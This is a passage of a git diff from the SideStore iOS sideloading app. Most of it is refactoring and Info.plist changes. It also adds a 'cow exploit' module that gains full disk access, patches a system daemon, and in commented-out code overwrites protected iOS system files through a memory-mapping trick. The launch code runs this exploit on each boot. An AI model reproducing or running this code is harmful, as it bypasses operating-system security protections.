class PillButton: UIButton
|
final class PillButton: UIButton
|
||||||
{
|
{
|
||||||
override var accessibilityValue: String? {
|
override var accessibilityValue: String? {
|
||||||
get {
|
get {
|
||||||
@@ -88,7 +88,7 @@ class PillButton: UIButton
|
|||||||
self.layer.masksToBounds = true
|
self.layer.masksToBounds = true
|
||||||
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
|
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
|
||||||
|
|
||||||
self.activityIndicatorView.style = .white
|
self.activityIndicatorView.style = .medium
|
||||||
self.activityIndicatorView.isUserInteractionEnabled = false
|
self.activityIndicatorView.isUserInteractionEnabled = false
|
||||||
|
|
||||||
self.progressView.progress = 0
|
self.progressView.progress = 0
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ extension TimeInterval
|
|||||||
static let longToastViewDuration = 8.0
|
static let longToastViewDuration = 8.0
|
||||||
}
|
}
|
||||||
|
|
||||||
class ToastView: RSTToastView
|
final class ToastView: RSTToastView
|
||||||
{
|
{
|
||||||
var preferredDuration: TimeInterval
|
var preferredDuration: TimeInterval
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@
|
|||||||
import Foundation
|
import Foundation
|
||||||
import OSLog
|
import OSLog
|
||||||
|
|
||||||
let customLog = OSLog(subsystem: "org.sidestore.sidestore",
|
public let customLog = OSLog(subsystem: "org.sidestore.sidestore",
|
||||||
category: "ios")
|
category: "ios")
|
||||||
|
|
||||||
|
|
||||||
@@ -18,6 +18,7 @@ public extension OSLog {
|
|||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - message: String or format string
|
/// - message: String or format string
|
||||||
/// - args: optional args for format string
|
/// - args: optional args for format string
|
||||||
|
@inlinable
|
||||||
static func error(_ message: StaticString, _ args: CVarArg...) {
|
static func error(_ message: StaticString, _ args: CVarArg...) {
|
||||||
os_log(message, log: customLog, type: .error, args)
|
os_log(message, log: customLog, type: .error, args)
|
||||||
}
|
}
|
||||||
@@ -26,6 +27,7 @@ public extension OSLog {
|
|||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - message: String or format string
|
/// - message: String or format string
|
||||||
/// - args: optional args for format string
|
/// - args: optional args for format string
|
||||||
|
@inlinable
|
||||||
static func info(_ message: StaticString, _ args: CVarArg...) {
|
static func info(_ message: StaticString, _ args: CVarArg...) {
|
||||||
os_log(message, log: customLog, type: .info, args)
|
os_log(message, log: customLog, type: .info, args)
|
||||||
}
|
}
|
||||||
@@ -34,6 +36,7 @@ public extension OSLog {
|
|||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - message: String or format string
|
/// - message: String or format string
|
||||||
/// - args: optional args for format string
|
/// - args: optional args for format string
|
||||||
|
@inlinable
|
||||||
static func debug(_ message: StaticString, _ args: CVarArg...) {
|
static func debug(_ message: StaticString, _ args: CVarArg...) {
|
||||||
os_log(message, log: customLog, type: .debug, args)
|
os_log(message, log: customLog, type: .debug, args)
|
||||||
}
|
}
|
||||||
@@ -45,6 +48,7 @@ public extension OSLog {
|
|||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - message: String or format string
|
/// - message: String or format string
|
||||||
/// - args: optional args for format string
|
/// - args: optional args for format string
|
||||||
|
@inlinable
|
||||||
public func ELOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
|
public func ELOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
|
||||||
OSLog.error(message, args)
|
OSLog.error(message, args)
|
||||||
}
|
}
|
||||||
@@ -53,6 +57,7 @@ public func ELOG(_ message: StaticString, file: StaticString = #file, function:
|
|||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - message: String or format string
|
/// - message: String or format string
|
||||||
/// - args: optional args for format string
|
/// - args: optional args for format string
|
||||||
|
@inlinable
|
||||||
public func ILOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
|
public func ILOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
|
||||||
OSLog.info(message, args)
|
OSLog.info(message, args)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,27 +1,27 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>ALTAppGroups</key>
|
<key>ALTAppGroups</key>
|
||||||
<array>
|
<array>
|
||||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||||
<string>group.com.rileytestut.AltStore</string>
|
<string>group.com.SideStore.SideStore</string>
|
||||||
</array>
|
</array>
|
||||||
<key>ALTDeviceID</key>
|
<key>ALTDeviceID</key>
|
||||||
<string>00008101-000129D63698001E</string>
|
<string>00008101-000129D63698001E</string>
|
||||||
<key>ALTServerID</key>
|
|
||||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
|
||||||
<key>ALTPairingFile</key>
|
<key>ALTPairingFile</key>
|
||||||
<string><insert pairing file here></string>
|
<string><insert pairing file here></string>
|
||||||
|
<key>ALTServerID</key>
|
||||||
|
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||||
<key>ALTAnisetteURL</key>
|
<key>ALTAnisetteURL</key>
|
||||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
<string>https://ani.sidestore.io</string>
|
||||||
<key>CFBundleDevelopmentRegion</key>
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||||
<key>CFBundleDocumentTypes</key>
|
<key>CFBundleDocumentTypes</key>
|
||||||
<array>
|
<array>
|
||||||
<dict>
|
<dict>
|
||||||
<key>CFBundleTypeIconFiles</key>
|
<key>CFBundleTypeIconFiles</key>
|
||||||
<array/>
|
<array />
|
||||||
<key>CFBundleTypeName</key>
|
<key>CFBundleTypeName</key>
|
||||||
<string>iOS App</string>
|
<string>iOS App</string>
|
||||||
<key>CFBundleTypeRole</key>
|
<key>CFBundleTypeRole</key>
|
||||||
@@ -56,6 +56,7 @@
|
|||||||
<key>CFBundleURLSchemes</key>
|
<key>CFBundleURLSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
<string>altstore</string>
|
<string>altstore</string>
|
||||||
|
<string>sidestore</string>
|
||||||
</array>
|
</array>
|
||||||
</dict>
|
</dict>
|
||||||
<dict>
|
<dict>
|
||||||
@@ -66,6 +67,7 @@
|
|||||||
<key>CFBundleURLSchemes</key>
|
<key>CFBundleURLSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
<string>altstore-com.rileytestut.AltStore</string>
|
<string>altstore-com.rileytestut.AltStore</string>
|
||||||
|
<string>sidestore-com.SideStore.SideStore</string>
|
||||||
</array>
|
</array>
|
||||||
</dict>
|
</dict>
|
||||||
</array>
|
</array>
|
||||||
@@ -88,7 +90,16 @@
|
|||||||
<string>altstore-com.rileytestut.Clip.Beta</string>
|
<string>altstore-com.rileytestut.Clip.Beta</string>
|
||||||
</array>
|
</array>
|
||||||
<key>LSRequiresIPhoneOS</key>
|
<key>LSRequiresIPhoneOS</key>
|
||||||
<true/>
|
<true />
|
||||||
|
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||||
|
<true />
|
||||||
|
<key>NSAppTransportSecurity</key>
|
||||||
|
<dict>
|
||||||
|
<key>NSAllowsArbitraryLoads</key>
|
||||||
|
<true />
|
||||||
|
</dict>
|
||||||
|
<key>NSAppleMusicUsageDescription</key>
|
||||||
|
<string>So that we can bypass the 3 app limit and disable revokes.</string>
|
||||||
<key>NSBonjourServices</key>
|
<key>NSBonjourServices</key>
|
||||||
<array>
|
<array>
|
||||||
<string>_altserver._tcp</string>
|
<string>_altserver._tcp</string>
|
||||||
@@ -103,7 +114,7 @@
|
|||||||
<key>UIApplicationSceneManifest</key>
|
<key>UIApplicationSceneManifest</key>
|
||||||
<dict>
|
<dict>
|
||||||
<key>UIApplicationSupportsMultipleScenes</key>
|
<key>UIApplicationSupportsMultipleScenes</key>
|
||||||
<true/>
|
<true />
|
||||||
<key>UISceneConfigurations</key>
|
<key>UISceneConfigurations</key>
|
||||||
<dict>
|
<dict>
|
||||||
<key>UIWindowSceneSessionRoleApplication</key>
|
<key>UIWindowSceneSessionRoleApplication</key>
|
||||||
@@ -127,13 +138,10 @@
|
|||||||
<string>fetch</string>
|
<string>fetch</string>
|
||||||
<string>remote-notification</string>
|
<string>remote-notification</string>
|
||||||
</array>
|
</array>
|
||||||
|
<key>UIFileSharingEnabled</key>
|
||||||
|
<true />
|
||||||
<key>UILaunchStoryboardName</key>
|
<key>UILaunchStoryboardName</key>
|
||||||
<string>LaunchScreen</string>
|
<string>LaunchScreen</string>
|
||||||
<key>NSAppTransportSecurity</key>
|
|
||||||
<dict>
|
|
||||||
<key>NSAllowsArbitraryLoads</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>UIMainStoryboardFile</key>
|
<key>UIMainStoryboardFile</key>
|
||||||
<string>Main</string>
|
<string>Main</string>
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
@@ -147,7 +155,7 @@
|
|||||||
<key>Style</key>
|
<key>Style</key>
|
||||||
<string>UIBarStyleDefault</string>
|
<string>UIBarStyleDefault</string>
|
||||||
<key>Translucent</key>
|
<key>Translucent</key>
|
||||||
<false/>
|
<false />
|
||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
<key>UISupportedInterfaceOrientations</key>
|
<key>UISupportedInterfaceOrientations</key>
|
||||||
@@ -171,7 +179,7 @@
|
|||||||
<key>UTTypeDescription</key>
|
<key>UTTypeDescription</key>
|
||||||
<string>iOS App</string>
|
<string>iOS App</string>
|
||||||
<key>UTTypeIconFiles</key>
|
<key>UTTypeIconFiles</key>
|
||||||
<array/>
|
<array />
|
||||||
<key>UTTypeIdentifier</key>
|
<key>UTTypeIdentifier</key>
|
||||||
<string>com.apple.itunes.ipa</string>
|
<string>com.apple.itunes.ipa</string>
|
||||||
<key>UTTypeTagSpecification</key>
|
<key>UTTypeTagSpecification</key>
|
||||||
@@ -188,7 +196,7 @@
|
|||||||
<key>UTTypeDescription</key>
|
<key>UTTypeDescription</key>
|
||||||
<string>Mobile Device Pairing</string>
|
<string>Mobile Device Pairing</string>
|
||||||
<key>UTTypeIconFiles</key>
|
<key>UTTypeIconFiles</key>
|
||||||
<array/>
|
<array />
|
||||||
<key>UTTypeIdentifier</key>
|
<key>UTTypeIdentifier</key>
|
||||||
<string>org.sidestore.mobiledevicepairing</string>
|
<string>org.sidestore.mobiledevicepairing</string>
|
||||||
<key>UTTypeTagSpecification</key>
|
<key>UTTypeTagSpecification</key>
|
||||||
@@ -200,5 +208,5 @@
|
|||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
</array>
|
</array>
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
@@ -11,7 +11,7 @@ import Foundation
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
class IntentHandler: NSObject, RefreshAllIntentHandling
|
final class IntentHandler: NSObject, RefreshAllIntentHandling
|
||||||
{
|
{
|
||||||
private let queue = DispatchQueue(label: "io.altstore.IntentHandler")
|
private let queue = DispatchQueue(label: "io.altstore.IntentHandler")
|
||||||
|
|
||||||
|
|||||||
@@ -6,22 +6,21 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
|
||||||
import Roxas
|
|
||||||
import EmotionalDamage
|
import EmotionalDamage
|
||||||
import minimuxer
|
import minimuxer
|
||||||
|
import Roxas
|
||||||
|
import UIKit
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import UniformTypeIdentifiers
|
import UniformTypeIdentifiers
|
||||||
|
|
||||||
class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
|
||||||
{
|
|
||||||
private var didFinishLaunching = false
|
private var didFinishLaunching = false
|
||||||
|
|
||||||
private var destinationViewController: UIViewController!
|
private var destinationViewController: UIViewController!
|
||||||
|
|
||||||
override var launchConditions: [RSTLaunchCondition] {
|
override var launchConditions: [RSTLaunchCondition] {
|
||||||
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in
|
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
|
||||||
DatabaseManager.shared.start(completionHandler: completionHandler)
|
DatabaseManager.shared.start(completionHandler: completionHandler)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -36,8 +35,7 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
|||||||
return self.children.first
|
return self.children.first
|
||||||
}
|
}
|
||||||
|
|
||||||
override func viewDidLoad()
|
override func viewDidLoad() {
|
||||||
{
|
|
||||||
defer {
|
defer {
|
||||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||||
@@ -47,13 +45,16 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
|||||||
|
|
||||||
override func viewDidAppear(_ animated: Bool) {
|
override func viewDidAppear(_ animated: Bool) {
|
||||||
super.viewDidAppear(true)
|
super.viewDidAppear(true)
|
||||||
|
#if !targetEnvironment(simulator)
|
||||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||||
|
|
||||||
guard let pf = fetchPairingFile() else {
|
guard let pf = fetchPairingFile() else {
|
||||||
displayError("Device pairing file not found.")
|
self.displayError("Device pairing file not found.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
start_minimuxer_threads(pf)
|
|
||||||
|
self.start_minimuxer_threads(pf)
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
func fetchPairingFile() -> String? {
|
func fetchPairingFile() -> String? {
|
||||||
@@ -68,28 +69,31 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
|||||||
fm.fileExists(atPath: appResourcePath.path),
|
fm.fileExists(atPath: appResourcePath.path),
|
||||||
let data = fm.contents(atPath: appResourcePath.path),
|
let data = fm.contents(atPath: appResourcePath.path),
|
||||||
let contents = String(data: data, encoding: .utf8),
|
let contents = String(data: data, encoding: .utf8),
|
||||||
!contents.isEmpty {
|
!contents.isEmpty
|
||||||
|
{
|
||||||
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
||||||
return contents
|
return contents
|
||||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
|
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
|
||||||
print("Loaded ALTPairingFile from Info.plist")
|
print("Loaded ALTPairingFile from Info.plist")
|
||||||
return plistString
|
return plistString
|
||||||
} else {
|
} else {
|
||||||
// Show an alert explaining the pairing file
|
// Show an alert explaining the pairing file
|
||||||
// Create new Alert
|
// Create new Alert
|
||||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert)
|
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
||||||
|
|
||||||
// Create OK button with action handler
|
// Create OK button with action handler
|
||||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
|
||||||
// Try to load it from a file picker
|
// Try to load it from a file picker
|
||||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
||||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: nil))
|
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
||||||
|
types.append(.xml)
|
||||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
||||||
|
// documentPickerController.shouldShowFileExtensions = true
|
||||||
documentPickerController.delegate = self
|
documentPickerController.delegate = self
|
||||||
self.present(documentPickerController, animated: true, completion: nil)
|
self.present(documentPickerController, animated: true, completion: nil)
|
||||||
})
|
})
|
||||||
|
|
||||||
//Add OK button to a dialog message
|
// Add OK button to a dialog message
|
||||||
dialogMessage.addAction(ok)
|
dialogMessage.addAction(ok)
|
||||||
|
|
||||||
// Present Alert to
|
// Present Alert to
|
||||||
@@ -117,7 +121,7 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
|||||||
let data1 = try Data(contentsOf: urls[0])
|
let data1 = try Data(contentsOf: urls[0])
|
||||||
let pairing_string = String(bytes: data1, encoding: .utf8)
|
let pairing_string = String(bytes: data1, encoding: .utf8)
|
||||||
if pairing_string == nil {
|
if pairing_string == nil {
|
||||||
displayError("Unable to read pairing file")
|
self.displayError("Unable to read pairing file")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Save to a file for next launch
|
// Save to a file for next launch
|
||||||
@@ -127,54 +131,67 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
|||||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||||
|
|
||||||
// Start minimuxer now that we have a file
|
// Start minimuxer now that we have a file
|
||||||
start_minimuxer_threads(pairing_string!)
|
self.start_minimuxer_threads(pairing_string!)
|
||||||
|
|
||||||
} catch {
|
} catch {
|
||||||
displayError("Unable to read pairing file")
|
self.displayError("Unable to read pairing file")
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isSecuredURL) {
|
if isSecuredURL {
|
||||||
url.stopAccessingSecurityScopedResource()
|
url.stopAccessingSecurityScopedResource()
|
||||||
}
|
}
|
||||||
controller.dismiss(animated: true, completion: nil)
|
controller.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
||||||
displayError("Choosing a pairing file was cancelled")
|
self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
|
||||||
}
|
}
|
||||||
|
|
||||||
func start_minimuxer_threads(_ pairing_file: String) {
|
func start_minimuxer_threads(_ pairing_file: String) {
|
||||||
set_usbmuxd_socket()
|
set_usbmuxd_socket()
|
||||||
|
#if false // Retries
|
||||||
|
var res = start_minimuxer(pairing_file: pairing_file)
|
||||||
|
var attempts = 10
|
||||||
|
while attempts != 0, res != 0 {
|
||||||
|
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
||||||
|
res = start_minimuxer(pairing_file: pairing_file)
|
||||||
|
attempts -= 1
|
||||||
|
}
|
||||||
|
#else
|
||||||
let res = start_minimuxer(pairing_file: pairing_file)
|
let res = start_minimuxer(pairing_file: pairing_file)
|
||||||
|
#endif
|
||||||
if res != 0 {
|
if res != 0 {
|
||||||
displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
||||||
}
|
}
|
||||||
auto_mount_dev_image()
|
auto_mount_dev_image()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extension LaunchViewController
|
extension LaunchViewController {
|
||||||
{
|
override func handleLaunchError(_ error: Error) {
|
||||||
override func handleLaunchError(_ error: Error)
|
do {
|
||||||
{
|
|
||||||
do
|
|
||||||
{
|
|
||||||
throw error
|
throw error
|
||||||
}
|
} catch let error as NSError {
|
||||||
catch let error as NSError
|
|
||||||
{
|
|
||||||
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
|
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
|
||||||
|
|
||||||
let alertController = UIAlertController(title: title, message: error.localizedDescription, preferredStyle: .alert)
|
let errorDescription: String
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
|
|
||||||
|
if #available(iOS 14.5, *) {
|
||||||
|
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
|
||||||
|
errorDescription = errorMessages.joined(separator: "\n\n")
|
||||||
|
} else {
|
||||||
|
errorDescription = error.debugDescription
|
||||||
|
}
|
||||||
|
|
||||||
|
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
|
||||||
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
|
||||||
self.handleLaunchConditions()
|
self.handleLaunchConditions()
|
||||||
}))
|
}))
|
||||||
self.present(alertController, animated: true, completion: nil)
|
self.present(alertController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
override func finishLaunching()
|
override func finishLaunching() {
|
||||||
{
|
|
||||||
super.finishLaunching()
|
super.finishLaunching()
|
||||||
|
|
||||||
guard !self.didFinishLaunching else { return }
|
guard !self.didFinishLaunching else { return }
|
||||||
@@ -195,6 +212,37 @@ extension LaunchViewController
|
|||||||
self.destinationViewController.view.alpha = 1.0
|
self.destinationViewController.view.alpha = 1.0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
|
||||||
|
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
|
||||||
|
let last_rantime = previous_exploit_time as! Date
|
||||||
|
if last_rantime == bootTime() {
|
||||||
|
return print("exploit has ran this boot - \(last_rantime)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.runExploit()
|
||||||
|
}
|
||||||
|
|
||||||
self.didFinishLaunching = true
|
self.didFinishLaunching = true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func runExploit() {
|
||||||
|
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
|
||||||
|
patch3AppLimit { result in
|
||||||
|
switch result {
|
||||||
|
case .success:
|
||||||
|
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||||
|
print("patched sucessfully")
|
||||||
|
case .failure(let err):
|
||||||
|
switch err {
|
||||||
|
case .NoFDA(let msg):
|
||||||
|
self.displayError("Failed to get full disk access: \(msg)")
|
||||||
|
return
|
||||||
|
case .FailedPatchd:
|
||||||
|
self.displayError("Failed to install patchd.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
123
AltStore/MDCExploit/CowExploits.swift
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
import Foundation
|
||||||
|
|
||||||
|
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||||
|
|
||||||
|
enum PatchError: Error {
|
||||||
|
case NoFDA(msg: String)
|
||||||
|
case FailedPatchd
|
||||||
|
}
|
||||||
|
|
||||||
|
enum PatchResult {
|
||||||
|
case success, failure(PatchError)
|
||||||
|
}
|
||||||
|
|
||||||
|
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||||
|
grant_fda { error in
|
||||||
|
if let error = error {
|
||||||
|
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||||
|
}
|
||||||
|
// DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
print("This is run on a background queue")
|
||||||
|
if !installdaemon_patch() {
|
||||||
|
completion(.failure(PatchError.FailedPatchd))
|
||||||
|
}
|
||||||
|
// }
|
||||||
|
completion(.success)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func bootTime() -> Date? {
|
||||||
|
var tv = timeval()
|
||||||
|
var tvSize = MemoryLayout<timeval>.size
|
||||||
|
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||||
|
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
enum WhitelistPatchResult {
|
||||||
|
case success, failure
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// func patchWhiteList() {
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||||
|
// #if false
|
||||||
|
// let documentDirectory = FileManager.default.urls(
|
||||||
|
// for: .documentDirectory,
|
||||||
|
// in: .userDomainMask
|
||||||
|
// )[0].path
|
||||||
|
//
|
||||||
|
// let pathToRealTarget = originPath
|
||||||
|
// let originPath = documentDirectory + originPath
|
||||||
|
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||||
|
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||||
|
// #endif
|
||||||
|
//
|
||||||
|
// // open and map original font
|
||||||
|
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||||
|
// if fd == -1 {
|
||||||
|
// print("Could not open target file")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// defer { close(fd) }
|
||||||
|
// // check size of font
|
||||||
|
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||||
|
// guard originalFileSize >= replacementData.count else {
|
||||||
|
// print("Original file: \(originalFileSize)")
|
||||||
|
// print("Replacement file: \(replacementData.count)")
|
||||||
|
// print("File too big!")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// lseek(fd, 0, SEEK_SET)
|
||||||
|
//
|
||||||
|
// // Map the font we want to overwrite so we can mlock it
|
||||||
|
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||||
|
// if fileMap == MAP_FAILED {
|
||||||
|
// print("Failed to map")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// // mlock so the file gets cached in memory
|
||||||
|
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||||
|
// print("Failed to mlock")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// // for every 16k chunk, rewrite
|
||||||
|
// print(Date())
|
||||||
|
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||||
|
// print(String(format: "%lx", chunkOff))
|
||||||
|
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||||
|
// var overwroteOne = false
|
||||||
|
// for _ in 0..<2 {
|
||||||
|
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||||
|
// unalign_csr(
|
||||||
|
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||||
|
// )
|
||||||
|
// }
|
||||||
|
// if overwriteSucceeded {
|
||||||
|
// overwroteOne = true
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// break
|
||||||
|
// }
|
||||||
|
// print("try again?!")
|
||||||
|
// }
|
||||||
|
// guard overwroteOne else {
|
||||||
|
// print("Failed to overwrite")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
